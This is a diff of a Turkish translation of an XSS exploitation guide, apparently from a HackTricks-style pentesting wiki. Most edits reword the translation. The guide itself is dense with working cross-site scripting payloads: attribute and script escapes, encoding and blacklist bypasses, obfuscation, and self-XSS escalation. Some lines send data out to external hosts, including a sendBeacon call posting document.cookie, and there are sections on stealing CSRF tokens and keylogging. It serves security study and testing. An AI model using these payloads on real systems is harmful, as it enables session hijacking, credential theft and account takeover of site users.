More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
|
||||
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
|
||||
Sonuncusu, 5'e genişleyen 2 unicode karakteri kullanıyor: telsr\
|
||||
Bu karakterlerden daha fazlasını [burada](https://www.unicode.org/charts/normalization/) bulabilirsiniz.\
|
||||
Hangi karakterlerin ayrıştırıldığını kontrol etmek için [buraya](https://www.compart.com/en/unicode/U+2121) bakabilirsiniz.
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Eğer zafiyeti istismar etmek için **kullanıcının önceden doldurulmuş verilerle bir bağlantıya veya forma tıklamasını** gerektiriyorsa, [**Clickjacking'i istismar etmeyi**](../clickjacking.md#xss-clickjacking) deneyebilirsiniz (eğer sayfa zayıfsa).
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
### İmkansız - Dangling Markup
|
||||
|
||||
Eğer **JS kodunu çalıştırmak için bir HTML etiketi oluşturmanın imkansız olduğunu** düşünüyorsanız, [**Dangling Markup** ](../dangling-markup-html-scriptless-injection/index.html) konusunu kontrol etmelisiniz çünkü zafiyeti **JS** kodu çalıştırmadan **istismar edebilirsiniz**.
|
||||
Eğer **JS kodunu çalıştırmak için bir niteliğe sahip bir HTML etiketi oluşturmanın imkansız olduğunu** düşünüyorsanız, [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) kontrol etmelisiniz çünkü zafiyeti **JS** kodu çalıştırmadan **istismar** edebilirsiniz.
|
||||
|
||||
## Injecting inside HTML tag
|
||||
## HTML etiketinin içine enjekte etme
|
||||
|
||||
### Inside the tag/escaping from attribute value
|
||||
### Etiketin içinde/nitelik değerinden kaçış
|
||||
|
||||
Eğer **bir HTML etiketinin içindeyseniz**, denemek için ilk şey **etiketten kaçmak** olabilir ve [önceki bölümde](#injecting-inside-raw-html) belirtilen bazı teknikleri kullanarak JS kodunu çalıştırabilirsiniz.\
|
||||
Eğer **bir HTML etiketinin içindeyseniz**, denemek için ilk şey **etiketten kaçmak** ve [önceki bölümde](#injecting-inside-raw-html) belirtilen bazı teknikleri kullanarak JS kodunu çalıştırmaktır.\
|
||||
Eğer **etiketten kaçamazsanız**, etikette yeni nitelikler oluşturarak JS kodunu çalıştırmayı deneyebilirsiniz, örneğin (_bu örnekte çift tırnakların niteliği kaçmak için kullanıldığını unutmayın, eğer girdiniz doğrudan etiketin içinde yansıtılıyorsa onlara ihtiyacınız olmayacak_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
@ -265,16 +265,16 @@ Eğer **etiketten kaçamazsanız**, etikette yeni nitelikler oluşturarak JS kod
|
||||
#moving your mouse anywhere over the page (0-click-ish):
|
||||
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
||||
```
|
||||
### Attribute İçinde
|
||||
### Özellik İçinde
|
||||
|
||||
Eğer **atribütten kaçamazsanız** (`"` kodlanıyor veya siliniyor), **değerinizin hangi atributte** yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu kötüye kullanabilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırabilirsiniz.\
|
||||
Başka ilginç bir **örnek** ise `href` atributudur; burada `javascript:` protokolünü kullanarak rastgele kod çalıştırabilirsiniz: **`href="javascript:alert(1)"`**
|
||||
**Özellikten kaçamazsanız bile** (`"` kodlanıyor veya siliniyor), **değerinizin hangi özellikte yansıtıldığına bağlı olarak** **tüm değeri mi yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu kötüye kullanabileceksiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz.\
|
||||
Başka ilginç bir **örnek**, `href` özelliğidir; burada rastgele kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
|
||||
|
||||
**HTML kodlaması/URL kodlaması kullanarak olay içindeki atlatma**
|
||||
|
||||
HTML etiket atributlerinin değerindeki **HTML kodlanmış karakterler** **çalışma zamanında** **çözülür**. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (yükleme bold olarak belirtilmiştir): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Geri Dön </a>`
|
||||
HTML etiket özelliklerinin değerindeki **HTML kodlanmış karakterler** **çalışma zamanında çözülür**. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (yükleme kalın yazılmıştır): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Geri Dön </a>`
|
||||
|
||||
Herhangi bir tür HTML kodlamasının geçerli olduğunu unutmayın:
|
||||
**Her türlü HTML kodlaması geçerlidir**:
|
||||
```javascript
|
||||
//HTML entities
|
||||
'-alert(1)-'
|
||||
@ -301,7 +301,7 @@ Herhangi bir tür HTML kodlamasının geçerli olduğunu unutmayın:
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||
```
|
||||
### Özel Protokoller İçinde attribute
|
||||
### Özel Protokoller Attribute İçinde
|
||||
|
||||
Burada bazı yerlerde **`javascript:`** veya **`data:`** protokollerini **rastgele JS kodu çalıştırmak** için kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecek, bazıları ise gerektirmeyecek.
|
||||
```javascript
|
||||
@ -347,21 +347,21 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
```
|
||||
**Diğer obfuscation hileleri**
|
||||
|
||||
_**Bu durumda, bir öznitelik içinde olduğunuz için önceki bölümdeki HTML kodlama ve Unicode kodlama hilesi de geçerlidir.**_
|
||||
_**Bu durumda, önceki bölümdeki HTML kodlama ve Unicode kodlama hilesi de geçerlidir çünkü bir öznitelik içindesiniz.**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Ayrıca, bu durumlar için başka bir **güzel numara** var: **`javascript:...` içindeki girdiniz URL kodlanmış olsa bile, çalıştırılmadan önce URL çözülür.** Yani, **tek tırnak** kullanarak **string**'den **kaçmak** gerekiyorsa ve **URL kodlandığını** görüyorsanız, **önemli değil,** çalıştırma sırasında **tek tırnak** olarak **yorumlanacaktır.**
|
||||
Ayrıca, bu durumlar için başka bir **güzel numara** var: **`javascript:...` içindeki girdiniz URL kodlanmış olsa bile, çalıştırılmadan önce URL çözülür.** Yani, eğer **tek tırnak** kullanarak **string**'den **kaçış** yapmanız gerekiyorsa ve **URL kodlandığını** görüyorsanız, **önemli değil,** çalıştırma sırasında **tek tırnak** olarak **yorumlanacaktır.**
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Not edin ki eğer **her ikisini de** `URLencode + HTMLencode` herhangi bir sırayla **payload**'ı kodlamak için denerseniz, bu **çalışmayacaktır**, ancak **payload** içinde **karıştırabilirsiniz**.
|
||||
Not edin ki eğer **her ikisini de** `URLencode + HTMLencode` herhangi bir sırayla **payload**'ı kodlamak için kullanmaya çalışırsanız, bu **çalışmayacaktır**, ancak **payload** içinde **karıştırabilirsiniz**.
|
||||
|
||||
**`javascript:` ile Hex ve Octal kodlama kullanma**
|
||||
|
||||
**Hex** ve **Octal kodlama**'yı `iframe`'in `src` niteliği içinde (en azından) **JS çalıştırmak için HTML etiketleri** tanımlamak amacıyla kullanabilirsiniz:
|
||||
**Hex** ve **Octal kodlama**'yı `iframe`'in `src` niteliği içinde (en azından) **HTML etiketlerini JS çalıştırmak için** tanımlamak için kullanabilirsiniz:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
@ -377,7 +377,7 @@ Not edin ki eğer **her ikisini de** `URLencode + HTMLencode` herhangi bir sıra
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Eğer herhangi bir URL'yi **`<a href=`** etiketi içine enjekte edebiliyorsanız ve bu etiket **`target="_blank" ve rel="opener"`** niteliklerini içeriyorsa, bu davranışı istismar etmek için **aşağıdaki sayfayı kontrol edin**:
|
||||
Eğer herhangi bir URL'yi **`<a href=`** etiketi içine enjekte edebiliyorsanız ve bu etiket **`target="_blank"` ve `rel="opener"`** niteliklerini içeriyorsa, bu davranışı istismar etmek için **aşağıdaki sayfayı kontrol edin**:
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
@ -401,9 +401,9 @@ Firefox: %09 %20 %28 %2C %3B
|
||||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
|
||||
### XSS "Sömürülemez etiketler" (gizli girdi, bağlantı, kanonik, meta) içinde
|
||||
|
||||
From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **artık gizli girişleri kötüye kullanmak mümkün:**
|
||||
[**buradan**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **gizli girdileri kötüye kullanmak artık mümkün:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
@ -430,29 +430,29 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
### Kara Liste Aşmaları
|
||||
|
||||
Bu bölümde farklı kodlama kullanarak birkaç hile zaten ortaya konmuştur. **Nereye kullanabileceğinizi öğrenmek için geri dönün:**
|
||||
Bu bölümde farklı kodlama kullanma ile ilgili birkaç hile zaten ortaya konmuştur. **Geri dön ve nerelerde kullanabileceğini öğren:**
|
||||
|
||||
- **HTML kodlaması (HTML etiketleri)**
|
||||
- **Unicode kodlaması (geçerli JS kodu olabilir):** `\u0061lert(1)`
|
||||
- **URL kodlaması**
|
||||
- **HTML kodlama (HTML etiketleri)**
|
||||
- **Unicode kodlama (geçerli JS kodu olabilir):** `\u0061lert(1)`
|
||||
- **URL kodlama**
|
||||
- **Hex ve Oktal kodlama**
|
||||
- **veri kodlaması**
|
||||
- **veri kodlama**
|
||||
|
||||
**HTML etiketleri ve öznitelikleri için aşmalar**
|
||||
**HTML etiketleri ve öznitelikler için aşmalar**
|
||||
|
||||
[Önceki bölümün Kara Liste Aşmaları](#blacklist-bypasses) kısmını okuyun.
|
||||
[Önceki bölümdeki Kara Liste Aşmalarını](#blacklist-bypasses) oku.
|
||||
|
||||
**JavaScript kodu için aşmalar**
|
||||
|
||||
[Aşağıdaki bölümün JavaScript bypass kara listesini](#javascript-bypass-blacklists-techniques) okuyun.
|
||||
[Aşağıdaki bölümdeki JavaScript bypass kara listesini](#javascript-bypass-blacklists-techniques) oku.
|
||||
|
||||
### CSS-Aletleri
|
||||
### CSS-Gadget'lar
|
||||
|
||||
Eğer webin çok küçük bir kısmında **XSS bulduysanız** ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover öğesi olan küçük bir bağlantı), **o öğenin kapladığı alanı değiştirmeyi** deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz.
|
||||
Eğer webin çok küçük bir kısmında bir **XSS bulduysanız** ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover elementi olan küçük bir bağlantı), o zaman **o elementin kapladığı alanı değiştirmeyi** deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz.
|
||||
|
||||
Örneğin, öğeye şu şekilde stil ekleyebilirsiniz: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
Örneğin, elemana şu şekilde bir stil ekleyebilirsiniz: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Ancak, eğer WAF stil özniteliğini filtreliyorsa, CSS Stil Aletlerini kullanabilirsiniz, bu yüzden eğer örneğin
|
||||
Ancak, eğer WAF stil özniteliğini filtreliyorsa, CSS Stil Gadget'larını kullanabilirsiniz, bu yüzden eğer örneğin
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
@ -460,7 +460,7 @@ ve
|
||||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
bulursanız, bağlantınızı şu forma getirebilirsiniz
|
||||
bulursanız, şimdi bağlantımızı değiştirebilir ve şu forma getirebilirsiniz
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
@ -468,19 +468,19 @@ Bu hile [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-x
|
||||
|
||||
## JavaScript kodu içine enjekte etme
|
||||
|
||||
Bu durumda **girdi** JS kodunun bir `.js` dosyasındaki veya `<script>...</script>` etiketleri arasındaki veya JS kodunu çalıştırabilen HTML olayları arasındaki veya `javascript:` protokolünü kabul eden öznitelikler arasındaki **yansıtılacak**.
|
||||
Bu durumda **girdi** JS kodunun bir `.js` dosyasının içinde veya `<script>...</script>` etiketleri arasında veya JS kodu çalıştırabilen HTML olayları arasında veya `javascript:` protokolünü kabul eden öznitelikler arasında **yansıtılacak**.
|
||||
|
||||
### \<script> etiketini kaçırma
|
||||
|
||||
Eğer kodunuz `<script> [...] var input = 'yansıtılan veri' [...] </script>` içinde yer alıyorsa, `<script>` etiketini **kolayca kapatabilirsiniz:**
|
||||
Eğer kodunuz `<script> [...] var input = 'yansıtılan veri' [...] </script>` içinde yer alıyorsa, `<script>` etiketini **kapatmayı** kolayca başarabilirsiniz:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Not edin ki bu örnekte **tek tırnağı bile kapatmadık**. Bunun nedeni **HTML ayrıştırmasının önce tarayıcı tarafından gerçekleştirilmesidir**, bu da sayfa öğelerinin, script blokları da dahil olmak üzere, tanımlanmasını içerir. JavaScript'in gömülü scriptleri anlamak ve yürütmek için ayrıştırılması yalnızca sonrasında gerçekleştirilir.
|
||||
Not edin ki bu örnekte **tek tırnağı bile kapatmadık**. Bunun nedeni **HTML ayrıştırmasının önce tarayıcı tarafından gerçekleştirilmesidir**, bu da sayfa öğelerinin, script blokları da dahil olmak üzere, tanımlanmasını içerir. JavaScript'in gömülü scriptleri anlamak ve yürütmek için ayrıştırılması ancak sonrasında gerçekleştirilir.
|
||||
|
||||
### JS kodu içinde
|
||||
|
||||
Eğer `<>` temizleniyorsa, hala **diziyi kaçırabilir** ve **arbitrary JS** **yürütme** işlemini gerçekleştirebilirsiniz. **JS sözdizimini düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir:
|
||||
Eğer `<>` temizleniyorsa, girdiğiniz yerin **bulunduğu** yeri **kaçış karakteri ile** **arbitrary JS** çalıştırabilirsiniz. JS sözdizimini **düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -489,7 +489,7 @@ Eğer `<>` temizleniyorsa, hala **diziyi kaçırabilir** ve **arbitrary JS** **y
|
||||
### Şablon Literalleri \`\`
|
||||
|
||||
Tekil ve çift tırnakların yanı sıra **dizeleri** oluşturmak için JS ayrıca **ters tırnakları** **` `` `** kabul eder. Bu, `${ ... }` sözdizimini kullanarak **gömülü JS ifadeleri** sağlamasına olanak tanıdığı için şablon literalleri olarak bilinir.\
|
||||
Bu nedenle, eğer girdinizin bir JS dizesi içinde **yansıtıldığını** bulursanız ve bu dize ters tırnak kullanıyorsa, **keyfi JS kodu** çalıştırmak için `${ ... }` sözdizimini kötüye kullanabilirsiniz:
|
||||
Bu nedenle, eğer girdinizin bir JS dizesi içinde ters tırnaklar kullanılarak **yansıtıldığını** bulursanız, **keyfi JS kodu** çalıştırmak için `${ ... }` sözdizimini kötüye kullanabilirsiniz:
|
||||
|
||||
Bu, şu şekilde **kötüye kullanılabilir**:
|
||||
```javascript
|
||||
@ -503,7 +503,7 @@ return loop
|
||||
}
|
||||
loop``
|
||||
```
|
||||
### Kodun kodlanmış yürütülmesi
|
||||
### Kodun Kodlanmış Yürütülmesi
|
||||
```html
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
@ -739,21 +739,21 @@ top[8680439..toString(30)](1)
|
||||
```
|
||||
## **DOM zafiyetleri**
|
||||
|
||||
**JS kodu**, **bir saldırgan tarafından kontrol edilen güvensiz verileri** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu kullanarak rastgele JS kodu çalıştırabilir.\
|
||||
**JS kodu**, bir saldırgan tarafından kontrol edilen **güvensiz verileri** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu kullanarak rastgele JS kodu çalıştırabilir.\
|
||||
**Açıklamanın uzatılması nedeniyle** [**DOM zafiyetleri bu sayfaya taşındı**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
Orada **DOM zafiyetlerinin ne olduğunu, nasıl tetiklendiğini ve nasıl istismar edileceğini** detaylı bir şekilde bulacaksınız.\
|
||||
Ayrıca, bahsedilen gönderinin **sonunda** [**DOM Clobbering saldırıları hakkında**](dom-xss.md#dom-clobbering) bir açıklama bulmayı unutmayın.
|
||||
Orada **DOM zafiyetlerinin ne olduğu, nasıl tetiklendiği ve nasıl istismar edileceği** hakkında ayrıntılı bir **açıklama** bulacaksınız.\
|
||||
Ayrıca, **bahsedilen yazının sonunda** [**DOM Clobbering saldırıları**](dom-xss.md#dom-clobbering) hakkında bir açıklama bulmayı unutmayın.
|
||||
|
||||
### Self-XSS'i Yükseltme
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
Eğer bir XSS'i bir çerez içinde payload göndererek tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için zayıf bir alt alan adı bulursanız**, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'ye karşı zayıf olan diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez atma saldırısını kullanabilirsiniz:
|
||||
Eğer bir yükü bir çerez içinde göndererek bir XSS tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için savunmasız bir alt alan adı** bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'e savunmasız diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez fırlatma saldırısını kullanabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
@ -763,15 +763,15 @@ Bu tekniğin harika bir istismarını [**bu blog yazısında**](https://nokline.
|
||||
|
||||
### Oturumunuzu yöneticilere gönderme
|
||||
|
||||
Belki bir kullanıcı profiline yöneticiyi ekleyebilir ve eğer self XSS kullanıcının profilindeyse ve yönetici buna erişirse, zafiyeti tetikleyecektir.
|
||||
Belki bir kullanıcı, profilini yönetici ile paylaşabilir ve eğer self XSS kullanıcının profilinde ise ve yönetici buna erişirse, zafiyeti tetikleyecektir.
|
||||
|
||||
### Oturum Yansıtma
|
||||
|
||||
Eğer bazı self XSS bulursanız ve web sayfasında **yöneticiler için oturum yansıtma** varsa, örneğin müşterilerin yardım istemesine izin veriyorsa, yönetici size yardımcı olmak için sizin oturumunuzda gördüğünüzü kendi oturumundan görecektir.
|
||||
Eğer bazı self XSS bulursanız ve web sayfası **yöneticiler için oturum yansıtma** içeriyorsa, örneğin müşterilerin yardım istemesine izin veriyorsa, yönetici size yardımcı olmak için sizin oturumunuzda gördüğünüzü kendi oturumundan görecektir.
|
||||
|
||||
**Yöneticiye self XSS'inizi tetikletip** çerezlerini/oturumunu çalabilirsiniz.
|
||||
|
||||
## Diğer Bypass'ler
|
||||
## Diğer Bypass'lar
|
||||
|
||||
### Normalleştirilmiş Unicode
|
||||
|
||||
@ -783,7 +783,7 @@ Eğer bazı self XSS bulursanız ve web sayfasında **yöneticiler için oturum
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
**RoR toplu atama** nedeniyle, HTML'ye alıntılar eklenir ve ardından alıntı kısıtlaması aşılır ve ek alanlar (onfocus) etiketin içine eklenebilir.\
|
||||
**RoR toplu atama** nedeniyle HTML'ye alıntılar eklenir ve ardından alıntı kısıtlaması aşılır ve ek alanlar (onfocus) etiketin içine eklenebilir.\
|
||||
Form örneği ([bu rapordan](https://hackerone.com/reports/709336)), eğer yükü gönderirseniz:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
@ -826,9 +826,9 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS ile 302 yanıtında başlık enjeksiyonu
|
||||
|
||||
Eğer **302 Yönlendirme yanıtında başlıkları enjekte edebildiğinizi** bulursanız, **tarayıcının rastgele JavaScript'i çalıştırmasını sağlamayı** deneyebilirsiniz. Bu **kolay değildir** çünkü modern tarayıcılar, HTTP yanıt durumu kodu 302 olduğunda HTTP yanıt gövdesini yorumlamaz, bu nedenle sadece bir cross-site scripting yükü işe yaramaz.
|
||||
Eğer **302 Yönlendirme yanıtında başlıkları enjekte edebildiğinizi** bulursanız, **tarayıcının rastgele JavaScript'i çalıştırmasını sağlamayı** deneyebilirsiniz. Bu **kolay değildir** çünkü modern tarayıcılar, HTTP yanıt durum kodu 302 olduğunda HTTP yanıt gövdesini yorumlamaz, bu nedenle sadece bir cross-site scripting yükü işe yaramaz.
|
||||
|
||||
[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) konum başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının gövde içindeki XSS yükünü incelemesine ve çalıştırmasına izin verip vermediğini okuyabilirsiniz.\
|
||||
[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) Konum başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının XSS yükünü gövde içinde incelemesine ve çalıştırmasına izin verip vermediğini okuyabilirsiniz.\
|
||||
Geçmişte bilinen protokoller: `mailto://`, `//x:1/`, `ws://`, `wss://`, _boş Konum başlığı_, `resource://`.
|
||||
|
||||
### Sadece Harfler, Sayılar ve Noktalar
|
||||
@ -837,11 +837,11 @@ Eğer JavaScript'in **çalıştıracağı** **callback**'i bu karakterlerle sın
|
||||
|
||||
### XSS için Geçerli `<script>` İçerik Türleri
|
||||
|
||||
([**Buradan**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/) alınmıştır) Eğer `application/octet-stream` gibi bir **içerik türü** ile bir script yüklemeye çalışırsanız, Chrome aşağıdaki hatayı verecektir:
|
||||
([**Buradan**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Eğer `application/octet-stream` gibi bir **içerik türü** ile bir script yüklemeye çalışırsanız, Chrome aşağıdaki hatayı verecektir:
|
||||
|
||||
> ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') adresinden script çalıştırmayı reddetti çünkü MIME türü (‘application/octet-stream’) çalıştırılabilir değil ve katı MIME türü kontrolü etkin.
|
||||
|
||||
Chrome'un **yüklenmiş bir script** çalıştırmasına izin verecek tek **Content-Type**'lar, [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) içindeki **`kSupportedJavascriptTypes`** sabitindeki türlerdir.
|
||||
Chrome'un **yüklenmiş bir script** çalıştırmasına izin verecek tek **Content-Type**'lar, [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) içindeki **`kSupportedJavascriptTypes`** sabitindeki içerik türleridir.
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -869,7 +869,9 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
- **modül** (varsayılan, açıklamaya gerek yok)
|
||||
Cevap şudur:
|
||||
|
||||
- **module** (varsayılan, açıklanacak bir şey yok)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles, bir dizi veriyi (HTML, CSS, JS…) bir araya getirip **`.wbn`** dosyası olarak paketlemenizi sağlayan bir özelliktir.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
@ -880,7 +882,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
</script>
|
||||
The resources are loaded from the source .wbn, not accessed via HTTP
|
||||
```
|
||||
- [**importmap**](https://github.com/WICG/import-maps)**:** İçe aktarma sözdizimini geliştirmeye olanak tanır.
|
||||
- [**importmap**](https://github.com/WICG/import-maps)**:** İçe aktarma sözdizimini geliştirmeye olanak tanır
|
||||
```html
|
||||
<script type="importmap">
|
||||
{
|
||||
@ -897,7 +899,7 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
Bu davranış, bir kütüphaneyi eval ile yeniden haritalamak için [**bu yazıda**](https://github.com/zwade/yaca/tree/master/solution) kullanıldı, bu da XSS'yi tetikleyebilir.
|
||||
Bu davranış, bir kütüphaneyi eval ile yeniden haritalamak için kullanıldı, böylece XSS tetiklenebilir.
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Bu özellik, önceden render edilmesinden kaynaklanan bazı sorunları çözmek için tasarlanmıştır. Şöyle çalışır:
|
||||
```html
|
||||
@ -944,7 +946,7 @@ Eğer sayfa text/xml içerik türü döndürüyorsa, bir ad alanı belirtmek ve
|
||||
|
||||
**`"some {{template}} data".replace("{{template}}", <user_input>)`** gibi bir şey kullanıldığında, saldırgan bazı korumaları aşmaya çalışmak için [**özel dize değiştirmeleri**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kullanabilir: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
Örneğin, [**bu yazıda**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) bu, bir script içinde **bir JSON dizesini kaçırmak** ve rastgele kod çalıştırmak için kullanıldı.
|
||||
Örneğin, [**bu yazıda**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) bu, bir script içinde **bir JSON dizesini** kaçırmak ve rastgele kod çalıştırmak için kullanıldı.
|
||||
|
||||
### Chrome Önbelleği ile XSS
|
||||
|
||||
@ -1051,7 +1053,6 @@ trigger()
|
||||
|
||||
- **Bir sayfadaki farklı obfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
- [http://www.jsfuck.com/](http://www.jsfuck.com)
|
||||
@ -1231,7 +1232,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
|
||||
```
|
||||
## XSS yaygın yükler
|
||||
|
||||
### Birden Fazla Yük
|
||||
### 1'de Birkaç Yük
|
||||
|
||||
{{#ref}}
|
||||
steal-info-js.md
|
||||
@ -1268,7 +1269,7 @@ Kullanıcının bir iframe'den çıkmadan sayfada gezinmesini sağla ve eylemler
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Eğer çerezde HTTPOnly bayrağı ayarlandıysa, **JavaScript'ten çerezlere erişemezsiniz**. Ama burada [bu korumayı aşmanın bazı yolları var](../hacking-with-cookies/index.html#httponly) eğer yeterince şanslıysanız.
|
||||
> Eğer çerezde HTTPOnly bayrağı ayarlandıysa, **JavaScript'ten çerezlere erişemezsiniz**. Ama burada [bu korumayı aşmanın bazı yolları](../hacking-with-cookies/index.html#httponly) var, eğer şanslıysanız.
|
||||
|
||||
### Sayfa İçeriğini Çal
|
||||
```javascript
|
||||
@ -1389,7 +1390,7 @@ GitHub'da arama yaparak birkaç farklı tane buldum:
|
||||
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
- Ayrıca metasploit `http_javascript_keylogger` kullanabilirsiniz.
|
||||
|
||||
### CSRF tokenlarını çalmak
|
||||
### CSRF token'larını çalmak
|
||||
```javascript
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
@ -1522,7 +1523,7 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
